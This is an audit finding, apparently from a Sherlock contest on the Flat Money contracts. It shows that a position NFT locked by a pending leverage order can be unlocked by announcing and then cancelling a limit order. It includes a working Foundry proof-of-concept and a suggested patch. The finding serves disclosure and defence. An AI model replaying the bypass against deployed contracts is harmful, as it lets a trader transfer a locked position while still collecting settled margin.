A user can bypass the locking of tokens in announced orders, by unlocking it in the LimitOrder contract

Summary

When a user calls DelayedOrder::announceLeverageAdjust or announceLeverageClose, the position NFT is locked to prevent it from being transferred while there is a pending order. However, the user can bypass this lock by creating a limit order and immediately cancelling it.

Vulnerability Detail

When creating a limit order via LimitOrder::announceLimitOrder, the token is locked.

Then when cancelling the limit order via LimitOrder::cancelLimitOrder, the token is unlocked without checking if there is an announced close/adjust order, instead only checking if there is an existing limit order.

function cancelLimitOrder(uint256 tokenId) external {
        address positionOwner = _checkPositionOwner(tokenId);
        _checkLimitCloseOrder(tokenId);
        delete _limitOrderClose[tokenId];

        // Unlock the ERC721 position NFT to allow for transfers.
@>      ILeverageModule(vault.moduleAddress(FlatcoinModuleKeys._LEVERAGE_MODULE_KEY))
        .unlock(tokenId);

        emit FlatcoinEvents.OrderCancelled({account: positionOwner, orderType: FlatcoinStructs.OrderType.LimitClose});
    }

Because of this, a user who has an announced and pending leverageAdjust/leverageClose order can simply create a limit order, cancel it in the same transaction in order to unlock their position's token.

Impact

Tokens which are supposed to be locked while orders are pending can be unlocked. This means that they can transfer the token to someone else while a leverageClose/leverageAdjust order is pending. Then once the order is executed, they still receive the remaining settled margin.

Code Snippet

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/LimitOrder.sol#L94

Proof of Concept

Summary:

User with a leverage position announces to either adjust or close their position. (This is supposed to lock their token until the order is executed)
User creates a limit close order, and then immediately cancels the order.
Token is now unlocked, even though the announced order still exists.

To run this PoC:

Add the following code to flatcoin-v1/test/unit in the audit repo
run forge test --mt test_unlockToken

Code proof (Foundry test)

```javascript // SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.8.18; import {OrderHelpers} from "../helpers/OrderHelpers.sol"; import {FlatcoinStructs} from "../../src/libraries/FlatcoinStructs.sol"; import "forge-std/console2.sol"; contract UnlockPoC is OrderHelpers { function test_unlockToken() public { uint256 stableDeposit = 100e18; uint256 collateralPrice = 1000e8; // Alice provides liquidity vm.startPrank(alice); announceAndExecuteDeposit({ traderAccount: alice, keeperAccount: keeper, depositAmount: stableDeposit, oraclePrice: collateralPrice, keeperFeeAmount: 0 }); // Alice opens position: 10 ETH collateral, 30 ETH additional size (4x leverage) uint256 tokenId = announceAndExecuteLeverageOpen({ traderAccount: alice, keeperAccount: keeper, margin: 10e18, additionalSize: 30e18, oraclePrice: collateralPrice, keeperFeeAmount: 0 }); vm.stopPrank(); // Now alice sends an adjustment announcement (so her token gets locked) announceAdjustLeverage(alice, tokenId, 5e18, 5e18, 0); // Assert that her token is now locked assertTrue(leverageModProxy.isLocked(tokenId)); vm.startPrank(alice); // Create limit order limitOrderProxy.announceLimitOrder({ tokenId: tokenId, priceLowerThreshold: 750e8, priceUpperThreshold: 1250e8 }); // Cancel limit order limitOrderProxy.cancelLimitOrder(tokenId); // Get details of alice's leverageAdjust order FlatcoinStructs.Order memory adjustOrderCreated = delayedOrderProxy.getAnnouncedOrder(alice); FlatcoinStructs.AnnouncedLeverageAdjust memory orderData = abi.decode(adjustOrderCreated.orderData, (FlatcoinStructs.AnnouncedLeverageAdjust)); // Assert that her token is not locked anymore, but the leverage adjust announced order is still active assertFalse(leverageModProxy.isLocked(tokenId)); assertEq(5e18, orderData.marginAdjustment); } } ```

Console output

```powershell Running 1 test for test/unit/UnlockPoC.t.sol:UnlockPoC [PASS] test_unlockToken() (gas: 1861659) Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 13.43ms Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests) ```

Tool used

Manual Review

Recommendation

In DelayedOrder::cancelLimitOrder, add a check to ensure that there a no announced order leverageAdjust or leverageClose for that tokenId, and if so, don't unlock the token.

function cancelLimitOrder(uint256 tokenId) external {
+       IDelayedOrder delayedOrder = IDelayedOrder(vault.moduleAddress(FlatcoinModuleKeys.__DELAYED_ORDER_KEY));
        address positionOwner = _checkPositionOwner(tokenId);
        _checkLimitCloseOrder(tokenId);
        delete _limitOrderClose[tokenId];

        // Unlock the ERC721 position NFT to allow for transfers.
+        FlatcoinStructs.OrderType orderType = delayedOrder.getAnnouncedOrder(msg.sender).orderType;
+        if (orderType != FlatcoinStructs.OrderType.LeverageClose && orderType != FlatcoinStructs.OrderType.LeverageAdjust) {
            ILeverageModule(vault.moduleAddress(FlatcoinModuleKeys._LEVERAGE_MODULE_KEY)).unlock(tokenId);
+        }

        emit FlatcoinEvents.OrderCancelled({account: positionOwner, orderType: FlatcoinStructs.OrderType.LimitClose});
    }

Duplicate of #48

sherlock-audit / 2023-12-flatmoney-judging

juan - A user can bypass the locking of tokens in announced orders, by unlocking it in the LimitOrder contract #77